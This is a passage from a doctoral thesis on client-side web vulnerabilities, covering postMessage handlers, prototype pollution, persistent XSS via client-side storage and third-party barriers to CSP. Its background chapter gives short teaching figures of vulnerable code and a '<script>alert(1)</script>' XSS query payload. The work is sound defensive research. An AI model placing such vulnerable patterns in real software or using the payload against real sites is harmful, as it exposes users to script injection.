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Zusammenfassung

JavaScript ist die treibende Kraft hinter all den Web Applikationen, die wir heutzutage
täglich nutzen. Allerdings ist über die Zeit hinweg gesehen die Masse, aber auch die
Komplexität, von Client-seitigem JavaScript Code stetig gestiegen.

Außerdem finden Sicherheitsexperten immer wieder neue Arten von Verwund-
barkeiten, meistens durch manuelle Analyse des Codes. In diesem Werk untersuchen
wir deshalb Methodiken, mit denen wir automatisch Verwundbarkeiten finden kön-
nen, die von postMessages, veränderten Prototypen, oder Werten aus Client-seitigen
Persistenzmechnanismen stammen.

Unsere Ergebnisse zeigen, dass die untersuchten Schwachstellen selbst unter den
populärsten Websites weit verbreitet sind, was den Bedarf an automatisierten Systemen
zeigt, die Entwickler bei der rechtzeitigen Aufdeckung dieser Schwachstellen unter-
stützen. Anhand der in unseren empirischen Studien gewonnenen Erkenntnissen geben
wir Empfehlungen für Entwickler und Browser-Anbieter, um die zugrunde liegenden
Probleme in Zukunft anzugehen. Zudem zeigen wir auf, dass Sicherheitsmechanismen,
die solche und ähnliche Probleme mitigieren sollen, derzeit nicht von Seitenbetreibern
eingesetzt werden können, da sie auf die Funktionalität von Drittanbietern angewiesen
sind. Dies zwingt den Seitenbetreiber dazu, zwischen Funktionalität und Sicherheit zu
wählen.
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Abstract

Today’s Web heavily relies on JavaScript as it is the main driving force behind the
plethora of Web applications that we enjoy daily. The complexity and amount of this
client-side code have been steadily increasing over the years.

At the same time, new vulnerabilities keep being uncovered, for which we mostly rely
on manual analysis of security experts. Unfortunately, such manual efforts do not scale
to the problem space at hand. Therefore in this thesis, we present techniques capable of
finding vulnerabilities automatically and at scale that originate from malicious inputs
to postMessage handlers, polluted prototypes, and client-side storage mechanisms.

Our results highlight that the investigated vulnerabilities are prevalent even among
the most popular sites, showing the need for automated systems that help developers
uncover them in a timely manner. Using the insights gained during our empirical
studies, we provide recommendations for developers and browser vendors to tackle the
underlying problems in the future. Furthermore, we show that security mechanisms
designed to mitigate such and similar issues cannot currently be deployed by first-party
applications due to their reliance on third-party functionality. This leaves developers in
a no-win situation, in which either functionality can be preserved or security enforced.
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Background of this Dissertation

In the following, we discuss the papers that lay the foundation of this thesis. All of these
research projects were lead by the author of this thesis, however, we highlight parts
that were conducted by others than the author of this thesis. Except one paper which
we intend to submit to the 2022 spring deadline of the IEEE Symposium on Security
and Privacy, all the others have been accepted and presented at top peer-reviewed
conferences in the field of IT security.

Chapter 4 is based on our work [P1] presented at CCS 2020, where we detail a
system capable of automatically uncovering and validating vulnerabilities in postMessage
handlers found throughout top websites.

In Chapter 5, we present a systematic evaluation of the threat landscape of Prototype
Pollution vulnerabilities based on work [P2] that we intend to submitted to the 2022
spring deadline of the IEEE Symposium on Security and Privacy.

Our work published at NDSS 2019 [P3] is discussed in Chapter 6, where we explore
the dangers associated with Client-Side Cross-Site Scripting vulnerabilities that use
data persistently stored on the victim’s machine. This work builds upon earlier work
from Lekies et al. [67], in particular, we utilize their taint-aware Chromium engine to
collect our data flows and re-implement the exploit generation techniques and refine
them for our domain. Therefore, we only discuss these parts briefly in this work and
present implementation details solely where our work expanded prior work. Ben Stock
implemented the exploit generation techniques for JavaScript sinks, which is why we do
not discuss implementation details for those as well.

In Chapter 7, we reason about the hardships that developers face when deploying
Content Security Policies which is based on work [P4] published at NDSS 2021. Marius
Musch implemented the mechanisms capable of collecting precise inclusion relations in
modern Web applications and its counterpart in our open-source tool SMURF which
helps developers uncover problematic inclusion chains, therefore, we omit technical
details about these collection mechanisms. Ben Stock conducted the analysis on the
code drift that is present in the paper, however, this analysis was omitted in this thesis.

[P1] Steffens, M. and Stock, B. PMForce: Systematically Analyzing postMessage
Handlers at Scale. In: ACM Conference on Computer and Communications
Security. 2020.

[P2] Steffens, M. and Stock, B. PPGadgets: Finding Prototype Gadgets in Client-Side
Web Applications using Concolic Testing. In: Under Submission. 2021.

[P3] Steffens, M., Rossow, C., Johns, M., and Stock, B. Don’t Trust The Locals:
Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the
Wild. In: Network and Distributed System Security Symposium. 2019.

[P4] Steffens, M., Musch, M., Johns, M., and Stock, B. Who’s Hosting the Block Party?
Studying Third-Party Blockage of CSP and SRI. In: Network and Distributed
System Security Symposium. 2021.
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Further Contributions of the Author

In addition to these primary works, we have co-authored two additional papers ([S2]
[S1]). The former explores the prevalence of third-party induced Cross-Site Scripting
vulnerabilities and proposes a defense mechanism employable by the first party that
mitigates such vulnerabilities. In the latter work we show that security mechanisms
are implemented inconsistently throughout subpages of the same registrable domain,
effectively thwarting their protection. We also present Site Policy, a unifying security
mechanism that allows developers to centrally configure their sites security, while
enabling automated tools to confirm that no security issues can arise due to inconsistent
configurations.

[S1] Calzavara, S., Urban, T., Tatang, D., Steffens, M., and Stock, B. Reining in
the Web’s Inconsistencies with Site Policy. In: Network and Distributed System
Security Symposium. 2021.

[S2] Musch, M., Steffens, M., Roth, S., Stock, B., and Johns, M. ScriptProtect:
Mitigating Unsafe Third-Party JavaScript Practices. In: ACM ASIA Conference
on Computer and Communications Security. 2019.
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Today’s Web heavily relies on JavaScript as the main driving force behind the
plethora of applications that we enjoy on a day-to-day basis. Be it applications that
enable remote work, help us to keep in touch with our friends and families, or allow
us to spend our leisure time with sheer limitless options at our fingertips via Web
browsers. Unfortunately, this apparent paradise has a track record of being riddled with
vulnerabilities [115]. Some of these vulnerabilities are unique to the Web platform, and
the most prominent representatives include Cross-Site Scripting (XSS) and Cross-Site
Request Forgery (CSRF).

Such vulnerabilities enable malicious actors, among other things, to steal sensitive
information such as the credentials of their victims, impersonate them against the
server-side code and abuse their computational resources for financial gains. We can
distribute these vulnerability classes into either server-side or client-side vulnerabilities
depending on where the vulnerable piece of code resides. In this thesis, we study the
threat surface that attackers can abuse on the client-side of modern Web applications
that fall outside of the classical malicious inputs that originate from the URL [67, 77,
52], while focusing on those prominent vulnerability classes. JavaScript is notoriously
known to be challenging to analyze statically [73]. Unfortunately, techniques that
turn static analysis challenging are frequently used throughout the Web with code
transformation techniques such as minification or obfuscation [111]. Thus, we explore
these threats through the lens of dynamic program analysis, which allows us to trace
potentially vulnerable data flows through Web applications and provide techniques to
assert exploitability automatically based on the values observed at run time.

First, we explore the threat surface exhibited by postMessage handlers that attackers
can abuse. The postMessage API is a controlled relaxation of the Same Origin Policy
and allows two frames to exchange arbitrary serializable data. Attackers that manage
to coerce an application to performing a security-sensitive operation via such messages,
e.g., execute code on behalf of the sending frame or to leak sensitive information back
to the sender, pose a grave threat to the security of modern applications. In 2013, Son
et al. [112] performed a study on the top 10,000 sites, in which they highlighted dangers
such as XSS and state manipulation vulnerabilities. Yet, their efforts were limited to
manual analysis. To that end, we form the first research question that we aim to answer
in this thesis: RQ1: How can we automatically find postMessage based vulnerabilities
in a scalable fashion? Answering this question allows us to provide an updated view
of the threat landscape of postMessage based vulnerabilities and provides developers
with tools that enable them to automatically find and remediate such issues without
the need for manual investigations.

Next, we study the threat of client-side prototype pollution vulnerabilities. Their
server-side counterpart has been shown to lead to impactful vulnerabilities that allow
an attacker to execute arbitrary code on the victim server [4]. This emerging threat
showcases another avenue in which attackers can tamper with values that can be
inadvertently used in dangerous sink functions. Besides a public repository that collects
information about vulnerable client-side libraries [14], we lack any information on the
prevalence of pollutions in popular websites. Furthermore, we lack insights into how
websites are making use of values defined on prototypes in benign use cases. To close
this gap, we propose the following research question: RQ2: How prevalent are prototype
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pollution gadgets in popular websites? And, what inherent properties do attackers rely
on when abusing such issues?. Once we can answer this research question, we can also
propose an appropriate countermeasure that helps developers mitigate the dangers of
this subtle language quirk.

As a third scenario in which attackers might coerce the application to perform
malicious behavior, we study the threat of alterations to client-side storage mechanisms.
Similarly to the sources of data flows mentioned earlier, if an application makes use of
such persisted values in a dangerous sink function, attackers can gain code execution via
XSS. As opposed to the previous settings, any such vulnerability would be persistent as
the flow is executed on each subsequent page visit aggravating the impact of a single
vulnerability. Thus, our next research question is then RQ3: How can attackers influence
the contents of client-side storage mechanisms? And, how prevalent are exploitable flows
from client-side persistence to code execution?

While most of the issues that we uncovered could be mitigated by appropriate
deployments of the Content Security Policy, research has shown that the deployment of
this security mechanism severely lags behind [55]. Additionally, most sites attempting
the deployment of a CSP make use of trivially bypassable policies [18, 138], or even
abandon their deployments at some point altogether [105]. To shed light on what
might be root causes for these observations, we ask ourselves: RQ4: How does third-
party behavior impact the first party’s ability to deploy meaningful Content Security
Policies? In particular, any first party willing to deploy a meaningful CSP can refactor
their own codebase, yet, they need the cooperation of all of their third parties if
those contribute incompatible code before being able to deploy the mechanism without
breaking functionality.

1.1 Contributions

In this thesis we examine three classes of client-side Web vulnerabilities and investigate
how the organically grown structure of the Web thwarts the deployment of mitiga-
tion techniques that were specifically designed to assist developers in securing their
applications.

1.1.1 Investigating postMessage Vulnerabilities (RQ1)

We discuss methods that allow us to automatically uncover security issues in postMessage
handlers, such as Cross-Site Scripting and state manipulation attacks, as well as
privacy issues, such as leakage of sensitive information. The insecurities of postMessage
handlers were already studied in 2013 by Son et al. [112], where they were able to find
vulnerabilities in 84 of the top 10,000 sites. Unfortunately, their work was based on
manual examination of the handler functions, which no longer scales to the problem
space of 27,000 hash-unique handlers, which we could observe in our latest experiments.
To tackle this challenge, we present a dynamic execution framework for JavaScript,
augmented with forced execution and taint tracking, that automatically collects security-
and privacy-relevant program traces from postMessage handlers. Based on these traces,
we show the feasibility of encoding exploitability as constraints, which allow us to
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automatically generate payloads that trigger malicious functionality using a state-of-
the-art SMT solver. With this pipeline in place, we report on the most comprehensive
study of the threat landscape of postMessage handlers as of today.

1.1.2 Analyzing Client-Side Prototype Pollution Vulnerabilities (RQ2)

Prototype Pollution vulnerabilities have been shown to introduce remote code execution
vulnerabilities in popular server-side applications [4, 10], yet, our knowledge on their
client-side counterparts is limited to manual examination of popular libraries [14].
To close this research gap, we present a concolic engine allowing us to find so-called
prototype gadgets, i.e., benign code that introduces malicious behavior if attackers
manage to tamper with JavaScript prototypes. We utilize our pipeline to conduct a
measurement of the threat of such prototype gadgets among the top 100 most important
applications according to Tranco [100]. With our insights about the threat landscape in
client-side code, we present a security mechanism to mitigate the impact of attacker-
controllable prototypes. We observe that real-world sites rarely use JavaScript behavior
that attackers usually rely on to abuse prototype gadgets. Thus, we can change the Web
platform to disallow such behavior by default and offer controlled relaxations where
such behavior is needed for benign use cases.

1.1.3 Uncovering Persistent Client-Side XSS Vulnerabilities (RQ3)

In this work, we show the dangers of introducing persistent Cross-Site Scripting vul-
nerabilities, which originate from client-side storage mechanisms, thus persist across
page reloads and browsing sessions. Besides state manipulations introduced over faulty
postMessage handlers, we discuss two attacker models that are capable of tampering
with those storage mechanisms and present an approach relying on taint tracking and
automated exploit generation techniques to uncover such issues. We then report on a
large-scale empirical study highlighting that 8% of the most popular 5,000 applications
carry such flaws. Furthermore, we provide detailed insights into the use-case that
we distilled from the real-world vulnerabilities and we provide recommendations for
developers to address the underlying issues.

1.1.4 Studying Third-Party Blockage of CSP (RQ4)

We were able to observe that client-side Web vulnerabilities are prevalent throughout
the most important applications. Yet, with the Content Security Policy, the Web
platform provides a security mechanism that, if configured properly, allows websites to
mitigate the dangers associated with injection vulnerabilities and framing-based attacks.
Unfortunately, we have seen plenty of research that showcased missing [55] and insecure
deployment [138, 18, 105] of these security mechanisms in the wild.

The ability to deploy Content Security Policies depends on the compatibility of
the complete code base, including any third-party scripting resources present in the
site. To understand to what extent third parties are limiting the applicability of these
measures, we first derive the notion of an extended Same Party, which allows us to
differentiate between first and third parties, as well as among different third parties.
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We use heuristics based on co-occurrence patterns paired with manual vetting, which
allow us to highlight the need for techniques that consider more information than the
registrable domain, as was done by prior work [63, 49]. We use this party definition
to then analyze the incompatible behavior that third-party code introduces, which
necessitates unsafe compatibility modes of the Content Security Policy, hampers with
host-based allowlists, or that is incompatible with strict-dynamic.

1.2 Outline

This thesis is structured into eight chapters. Chapter 2 discusses the relevant technical
background knowledge for our work. In Chapter 3, we provide an overview of the related
research fields. Chapter 4 is the first chapter that constitutes the main research work
detailed in this thesis. We elaborate on a system that allows us to uncover vulnerabilities
in postMessage handlers based on forced execution and dynamic taint analysis. We report
on the most comprehensive analysis of this threat to date, finding abusable handlers
that affect 379 sites. In Chapter 5, we detail our investigation of client-side prototype
pollution gadgets. We present a concolic execution engine and report on a study of the
100 most popular sites, finding vulnerabilities in 36 of them. Furthermore, we propose
a security mechanism that completely eradicates the threat of prototype gadgets for
the majority of sites. We close our examination of vulnerabilities by investigating the
threat of persistent client-side XSS in Chapter 6. Here, we detail how we employed
taint tracking and automated exploit generation techniques to find vulnerabilities in
418 of the 5,000 most popular applications. Uncovering those vulnerabilities allows us
to investigate benign use-cases and propose appropriate fixes for website developers
that are functionally equivalent yet no longer vulnerable. We follow this up with an
investigation on the first parties’ ability to deploy a Content Security Policy in Chapter 7.
Here we show that third-party behavior heavily limits a site’s ability to deploy a sound
CSP, leaving them in a situation where they can either have third-party functionality or
employ sound XSS mitigations. We conclude this thesis in Chapter 8 by reasoning about
overarching takeaways, limitations, and possible avenues for future research, before
providing our final concluding remarks.
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2.1. HYPERTEXT MARKUP LANGUAGE

In the following chapter, we discuss the relevant technical background for our
work. We begin by examining essential Web technologies such as HTML, JavaScript,
and Browser APIs that become relevant once we discuss our investigated classes of
vulnerabilities. We follow this up with a discussion of the Web’s most fundamental
security concept, the Same Origin Policy, and discuss the postMessage API, a controlled
relaxation of the Same Origin Policy. Further, we discuss fundamentals about Cross-Site
Request Forgery and Cross-Site Scripting vulnerabilities and the Content Security Policy,
which provides means to mitigate Cross-Site Scripting.

2.1 Hypertext Markup Language

Hypertext Markup Language (HTML) is the de-facto standard used for documents
accessible via the Web. It is a platform-independent markup language [11], that is
currently standardized by the World Wide Web Consortium (W3C) [132]. In essence,
HTML consists of tags that, e.g., allow developers to reference other documents using
so-called anchors or present forms to the users that can be filled with information and
subsequently submitted to the server. Besides such functional tags, HTML also provides
various options to compose graphical user interfaces that can then be rendered into an
interactive user interface, e.g., displayed in a user’s browser.

With HTML as a building block, developers can compose powerful and interactive
applications, such as Web email clients or social networks. To achieve this level of
sophistication, HTML has grown over the years to allow for the integration of scripting
languages such as JavaScript [127], and continuously provides new features such as
integration of audio and video resources [130] natively, for which developers needed to
resort to technologies such as Flash in the past [25].

2.2 JavaScript

By including a scripting language such as JavaScript into Web applications, developers
can compose dynamic applications that react based on user interaction. JavaScript is
an implementation of the ECMAScript standard [32], which was initially developed
by Brendan Eich as part of bringing scripting languages to the Netscape Navigator.
Over the years JavaScript became a general-purpose programming language, and gained
popularity for server-side applications with the advent of interpreters like Node.js [93].

2.2.1 JavaScript Prototype Inheritance

JavaScript does not have a classical hierarchical inheritance model like, e.g., Java or
Python. Instead, JavaScript implements inheritance through so-called prototypes. They
allow for inheritance of properties and functions from Prototype Objects, defined on
most objects, except if explicitly removed. For example, the String prototype contains
all relevant string operations defined in the ECMAScript standard [32], making them
available to all string values as their prototype is automatically set to the String
prototype object. Prototypes can, in fact, most of the time do, form a chain, e.g., the
prototype of the String prototype itself is the Object prototype on which, e.g., the
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hasOwnProperty function is defined. Whenever there is an access to an object’s
property, the runtime engine first checks if the object itself defines the property and, if
not, checks the object’s prototype (recursively). This means that as long as a property
exists in any of the prototypes along this prototype chain, it can be accessed on the
original object. This means that if we access the hasOwnProperty property on a
string, the engine first checks if it was defined on the specific instance of this string,
then search in the String prototype, and lastly, find the property defined on the Object
prototype. It is worth noting that we can also explicitly define a property on an object;
in that case, the prototype chain is not traversed (e.g., if we want to implement our
own variant of hasOwnProperty).

2.2.2 Document Object Model and Browser APIs

The most prominent use case for JavaScript on the client-side of Web applications is the
interaction with the underlying rendered HTML document via the Document Object
Model (DOM). This API represents the rendered document in a tree-like structure
based on the hierarchical structure of the HTML document. It allows JavaScript to
access, append and even delete parts of this tree structure, allowing developers to, e.g.,
dynamically substitute content on the page or include further scripting resources that
subsequently run inside the same page.

Besides access to the DOM, JavaScript running in modern browsers can access a
plethora of other APIs that allow, e.g., access to client-side storage mechanisms in the
form of the Web Storage API [129], or access to the postMessage API [86] that allows
for cross-frame communication.

2.2.3 Storage Mechanisms

On the client-side, we have various APIs that allow developers to store user-specific
information, such as session identifiers or user preferences. Among the most prominent
variants of information stored on the client-side are cookies [7]. They were proposed to
overcome the inherent statelessness of the Hypertext Transfer Protocol (HTTP), which
is the primary application-level protocol used on the Web.

In essence, a cookie is a key-value tuple stored in the user’s browser for a specified
duration or until the current session is closed. It allows for storing textual information,
and cookies are attached to every HTTP request issued to a matching server. A matching
server is determined via the hostname of the accessed server and the accessed path in
the URL of the request. Cookies can be set either, by using the Set-Cookie response
header or by using the document.cookie DOM API.

In most browsers, cookies are by default bound to the specific hostname associated
with the loaded resource. However, they can be set with a specific host as part of the
cookies Domain attribute. Setting this property to either the hostname of the currently
visited resource or to a parent (up to the registrable domain) instructs the browser to
attach this cookie to all requests issued to a subdomain of the specified host. With
cookies being bound to hostnames, it is also possible to set cookies on HTTP resources
that are then sent along to HTTPS resources and which can be accessed by JavaScript
running in HTTPS documents vie document.cookie.
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The original specification, [60], advocates for cookies to allow at least 4,096 bytes
per cookie value. However, they do not allow for storage of arbitrary data as, e.g., the
semicolon is a special character used to delimit cookie options from one another.

Web storage [129] comprises two disjunct storage containers, namely session, and
local storage. The former is persistent only within one browsing session of a specific
window, whereas the latter provides persistent storage across browsing sessions and
windows. Like cookies, they allow for storage of textual information, however, they are
meant to store larger chunks of information and information that does not need to be
sent to the server on every request.

Unlike cookies, however, Web Storage is bound to an origin, which we investigate
alongside the Web’s most fundamental security policy, the Same Origin Policy, in the
following.

2.3 Same Origin Policy

With sensitive information being displayed in user’s browsers, e.g., account balances in
their banking applications or credentials for their favorite social network, interactions
between different applications need to be strictly governed, as not to allow a malicious
page to simply act within the banking application in the name of the currently logged-in
user, or to steal the user’s credentials of the social media application. The most basic
security principle that guides such interactions is the Same Origin Policy (SOP). An
origin comprises the tuple of (protocol, hostname, port), and any two resources need
to share the same origin to be able to interact with one another freely. If they do not
share the same origin, e.g., when an attacker page embeds the banking application via
an iframe tag, they are not allowed to access the DOM of the banking application
via JavaScript that runs in the origin of the attacker page. Similarly, JavaScript that
issues a cross-origin request, cannot read the response to such a possibly authenticated
request by default.

Due to the inherent strictness of this fundamental security mechanism, various
controlled relaxations such as Cross-Origin Resource Sharing (CORS), which is now part
of the Fetch specification [134], or the postMessage API [86] have been implemented
into the Web platform over the years. These controlled relaxations allow developers of
different applications, particularly from different origins, to exchange information in
a purely opt-in manner. While CORS governs the access to responses to cross-origin
requests, the postMessage API is the most interesting cross-origin communication
mechanism for this work.

2.3.1 postMessage API

The postMessage API is defined on any frame that can be accessed in a given page,
which might be an embedded iframe but also a reference to any parent window or popup
[86]. It allows for dispatching of arbitrary JavaScript objects that can be serialized
using the structured cloning algorithms [82]. These dispatched objects are passed as
events to handler functions defined in the receiving frames as depicted in Figure 2.1.
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1 // running at https://foo.com
2 function handler(event){
3 if(event.origin == 'https://bar.org' && event.data == 'Ping')
4 event.source.postMessage('Pong','https://bar.org')
5 }
6 window.addEventListener('message', handler);
7
8 // running at https://bar.org
9 foo_window.postMessage('Ping', 'https://foo.com')

Figure 2.1: Simple postMessage Example

To allow the sending frame to ensure the secrecy of messages that might contain
sensitive information, the postMessage API allows to specify an origin as a parameter. If
provided with an origin and not the wildcard (*) as input, the browser ensures that the
message is only dispatched to the frame if the provided origin matches the document’s
origin. Similarly, the browser attaches the origin of the sending frame to the event
(event.origin) that is passed to the handler function on the receiving side to allow the
application to verify the integrity of the message before conducting sensitive operations
within the origin of the receiving page. The browser also attaches a reference to the
sending entity (event.source) to allow applications to establish a two-way communication
channel.

2.4 Cross-Site Request Forgery

As the SOP is very strict in how it allows applications to interact with one another,
attackers need to either circumvent the restriction of the SOP by tricking target
applications into exhibiting malicious behavior or abuse properties of the Web platform
not governed by the SOP. One such property is the ability to issue authenticated requests
to cross-origin endpoints. While we have seen that reading responses of requests is
governed by a combination of the SOP, together with CORS as a controlled relaxation,
attackers can still issue simple requests without any of the two mechanisms interfering.
In CORS terms, a simple request is one that uses either HEAD, GET, or POST as HTTP
verb, and only adds headers that are CORS-safelisted [134], among some other minor
restrictions as specified in the standard.

For example, assume a banking application that allows users to issue transactions
via a form displayed on their page. An attacker can mimic this form on their own page
and automatically submit it with pre-filled information that issue a money transfer to
the attacker’s bank account without the user’s consent. For the server-side code, it
appears as if the transaction was instructed by the user, as the browser attaches the
cookies to the request issued to the banking server.

While there exist various mechanisms that protect against cross-site requests, e.g.,
in the form of Double Submit cookies and CSRF tokens [8], SameSite Cookies [85],
or new mechanisms such as Fetch Metadata [131], they all more or less enforce that
authenticated requests can only be issued from within the same origin or site.
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1 // visiting https://example.com?analytics=https://anatlytics.com
2
3 function parseQueryParameters(){
4 // parse parameters and return as object
5 }
6
7 function sendAnalytics(dataToSend){
8 let queryParams = parseQueryParameters();
9 let analyticsUrl = queryParams["analytics"];

10 fetch(analyticsUrl + "?" + dataToSend);
11 }

Figure 2.2: Client-Side Cross-Site Request Forgery Example

Unfortunately, if an attacker manages to coerce the application into issuing a
request on their behalf, which we call a client-side Cross-Site Request Forgery, any of
the aforementioned mitigation strategies are no longer able to prevent such malicious
requests [52]. A simple example of how an attacker might be able to coerce an application
into issuing such requests can be seen in Figure 2.2. In this example, the application
performs a request to the URL provided in the query parameter analytics. As we
typically assume the attacker to be able to control the URL, e.g., they might point an
iframe in their own page to the URL, or they might lure users into clicking on a link, the
attacker can point this URL to any endpoint that they want to issue a request to, e.g.,
the transaction endpoint. In this specific case, attackers would be able to circumvent
SameSite cookies, Double Submit Cookies, and server-side mechanisms relying on Fetch
Metadata [131]. Yet, depending on the application’s behavior, it might also attach
tokens to requests that are controllable by an attacker, thus invalidating the protection
offered from the CSRF tokens.

2.5 Cross-Site Scripting

In a similar vein, attackers have a great incentive to execute their own code in the origin
of a target Web application. This allows them to impersonate the user against the
application’s server and even steal the user’s credentials. As the SOP prevents direct
scripting access, attackers need to rely on the target application erroneously introducing
attacker code into their own document.

In terms of Cross-Site Scripting vulnerabilities, there exist the textbook taxonomy
of Client-, Server-, and DOM-based Cross-Site Scripting. In this work, however, we
advocate for a taxonomy that spans Cross-Site Scripting into four distinct classes
based on the dimensions of the locality of the vulnerable code and attack persistence
as presented in our earliest work [P3]. In terms of different levels of persistency,
vulnerabilities can either be reflected, that is, they only persist for as long as the user
visits the attacker provided page, or they might trigger on each subsequent page visit
initiated by the user after the initial infection of a persistent storage mechanism of the
attacker. Similarly, the attacker might either abuse server-side code, e.g., the PHP code
that blindly reflects attacker-controllable parameters in the HTML document served to
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1 <?php
2 $username = $_GET["username"];
3 echo "<h2> Hello $username, today is a lovely day!</h2>";
4
5 // visit with query ?username=<script>alert(1)</script>

Figure 2.3: Reflected Server-Side Cross-Site Scripting Example

1 async function loadLibFromCache(){
2 let libLocation = "https://example.com/lib.js";
3
4 // if lib is not yet cached, fetch it and put into localStorage
5 if(!localStorage["libCode"]){
6 let response = await fetch(libLocation);
7 localStorage["libCode"] = await response.text();
8 }
9

10 // load the library
11 eval(localStorage["libCode"])
12 }

Figure 2.4: Persistent Client-Side Cross-Site Scripting Example

the user or client-side JavaScript code that uses DOM functionality to executed further
code, e.g., by using the eval function.

Figure 2.3 depicts the classical textbook reflected server-side XSS in PHP, where an
attacker would be able to add arbitrary script tags in the username property. In this
scenario, an attacker would lure the user to the URL depicted in line 5 of Figure 2.3,
and the attacker’s payload would be executed in the victim’s browser for as long as the
page remains loaded in the browser. The payload merely consists of opening an alert
box, yet, this only serves as a proof of concept and can be substituted with arbitrary
malicious code.

On the contrary, Figure 2.4 shows a persistent client-side XSS, in which the JavaScript
code supposedly uses local storage to cache library code, which is executed via eval on
each page visit. An attacker capable of tampering with this storage entry can plant
their malicious payload, which is then executed whenever the victim visits said page.

2.6 Content Security Policy

In its original form, the Content Security Policy (CSP) was meant to mitigate the
effects of XSS and enables developers to limit the resources which could be loaded into
their site [114] by specifying an appropriate Content-Security-Policy response
header or HTML meta tag. This restriction is achieved by providing an allowlist of
hosts from which external content can be included, in combination with disallowing
potentially dangerous constructs such as inline scripts, inline event handlers, and
eval-like functionalities by default.
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To allow for backward compatibility in using those unsafe practices while rolling out
a strict CSP, unsafe-inline and unsafe-eval are part of the CSP specification.
Deploying a policy with unsafe-inline essentially allows an attacker abusing an
injection vulnerability to insert their script content directly as an inline script as depicted
in our example Figure 2.3; such policies cannot mitigate XSS. Thus, developers would
be tasked with removing any inline script in their codebase to deploy a policy that
would not be trivially bypassable due to unsafe-inline. Since this would mandate
significant engineering effort, CSP level 2 added nonces and hashes [128]. Through
this, developers can attach a nonce to each script, making it executable if the nonce
matches any nonce supplied in the CSP; similarly, scripts can be allowed through their
hash sum. It must be noted, though, that event handlers cannot be allowed in this
fashion universally. The only option to allow inline event handler execution is to add
unsafe-hashes [133] to the script-src directive, which enables event handlers
to be executed if their hash is explicitly allowed. Yet, this directive currently lacks
universal support across browsers [36]. Orthogonally, if a site operator needs to use
eval, they have to resort to unsafe-eval.

Weichselbaum et al. [138] proposed strict-dynamic to alleviate the burden of
keeping a CSP up to date with all the hosts being added by third parties. If this mode
is enabled, any script that is allowed through a hash or a nonce can programmatically
add additional scripts, i.e., by using createElement and appendChild, but not
document.write. Notably, when this option is enabled, any host-based allowlist is dis-
abled, meaning that even inclusions from the same host must be done programmatically,
carry a nonce, or coincide with a hash provided in the CSP.
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3.1. ANALYSIS OF WEB VULNERABILITIES

This chapter provides information about the areas of research that relate to the
main topics discussed in this thesis. We first elaborate on research in the area of Web
vulnerability detection. We follow this discussion with information about advances in
the area of dynamic program analysis, which lay the foundation for the systems that
we design to measure the prevalence of individual vulnerabilities. Next, we discuss
research on security mechanisms for the Web and the impact of third-party code on
the security of the first party in a broad sense, which ties into our discussion of how
third-parties prevent first party developers from being able to meaningfully apply the
Content Security Policy as mitigation against XSS.

3.1 Analysis of Web Vulnerabilities

With XSS being one of the most dangerous Web vulnerabilities, there have been plenty
of studies that focussed on the detection and mitigation of XSS, which at first was
limited to analyzing server-side code [12, 89, 99, 118, 87, 39].

In 2008, Balzarotti et al. [5] analyzed the sanitization techniques employed on
user input, concluding that frequently regular expression checks, denylists, and string
manipulations employed to thwart XSS were incorrectly implemented. Such issues
allow attackers to exploit the vulnerability even in the presence of security-aware
developers due to their misconfigurations. We can confirm that similar issues arise, e.g.,
when applications employ regular expression checks to verify the origin of incoming
postMessages. Yet, our results indicate that those issues are less prevalent than initially
discussed by Son et al. [112] in their manual investigations of postMessage handlers.

Klein [56] unveiled that XSS was not limited to the server-side code, but rather that
incorrect usage of attacker-controllable values on the client side could still introduce
XSS once such values were used in DOM sinks. This type of XSS was initially dubbed
DOM-based XSS but is nowadays referred to as client-side XSS. Naturally, this led
to follow-up work by Saxena et al. [108], in which they used taint-enhanced black-box
fuzzing in order to find injection vulnerabilities in JavaScript code.

In a similar vein, Lekies et al. [67] presented the first automated, large-scale analysis
of client-side XSS vulnerabilities. They patched a taint-tracking engine into the Chrome
browser, allowing them to track data flows that originate from attacker-controllable
sources, such as the URL, into the dangerous DOM functionalities that enable XSS.
Using these collected data flows paired with an automated exploit generation, they were
able to show that 10% of the 5,000 most popular sites were susceptible to a reflected
client-side XSS. In our work detailed in Chapter 6, we built upon their work and
extended it to find persistent client-side XSS vulnerabilities. This allows us to study
threats of persistent client-side payloads as outlined by Hanna et al. [41]. Melicher
et al. [77] improved on the initially outlined exploit generation process, allowing for 83%
more exploits to be found when directly compared with the techniques of Lekies et al.,
which we also incorporated in our analysis when investigating the capabilities of the
Web attacker to persist an otherwise present reflected client-side XSS.

In 2013, Son et al. [112] presented the first systematic security and privacy analysis
of postMessage handlers showcasing real-world vulnerabilities, such as XSS, in 84 of
the top 10,000 sites by manually analyzing 136 handler functions. We can show that
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the steep increase in postMessage handlers renders any manual efforts of studying this
threat infeasible. To close this gap, we propose a system capable of automatically
detecting postMessage based vulnerabilities, and we provide an updated measurement
on the threat landscape in Chapter 4.

A recent study of Lekies et al. [66], highlighted the dangers of so-called script gadgets,
allowing attackers to get code execution without the direct injection of script elements.
They abuse library functions that introduce attacker controllable code extracted from
injected DOM elements, which bypasses even sound deployments of the Content Security
Policy. Prototype gadgets, which we aim to find in Chapter 5, are similar in nature
as they abuse the fact that an attacker can coerce the benign gadget code to exhibit
malicious behavior once they are able to manipulate the environment. In our case,
however, we study such gadgets when attackers are able to tamper with JavaScript
prototypes, as opposed to attackers being able to inject non-script HTML code.

In 2015, Stock et al. [117] investigated the complexity of XSS flows, concluding that
a significant fraction of flows are relatively simple in nature.

The privacy dangers of HTTP were highlighted by Sivakorn et al. [110] through an
analysis of information leakage of cookies in the presence of a passive network attacker,
concluding that 15 of 26 top-ranked domains were, in fact, leaking sensitive user data
due to the lack of deployed HSTS. Lekies et al. [68] analyzed the danger of Cross-Site
Script Inclusion vulnerabilities on 150 high-ranked domains, finding 40 vulnerable Web
applications which allow an attacker to exfiltrate sensitive data, e.g., access tokens.
These could, in turn, be used to conduct targeted XSS attacks. In 2011, Richards
et al. [103] conducted an analysis of the dangerous use cases of JavaScript’s eval,
concluding that a wide variety of uses can be replaced with more secure alternatives,
thus preventing potential vulnerabilities altogether. We can verify that eval is frequently
erroneously used in our analysis of the threat of persistent client-side XSS as discussed
in Chapter 6. In contrast to classical XSS injections, Arshad et al. [3] presented the
first large-scale analysis of Relative Path Overwrite flaws, which allow an attacker to
inject style directives into a Web application, enabling scriptless attacks [44].

In the domain of CSRF vulnerability detection, Pellegrino et al. [97] and Calzavara
et al. [17] presented techniques for automatically finding server-side CSRF vulnerabilities.
Recently, Khodayari et al. [52] presented the first study of the threat of client-side CSRF,
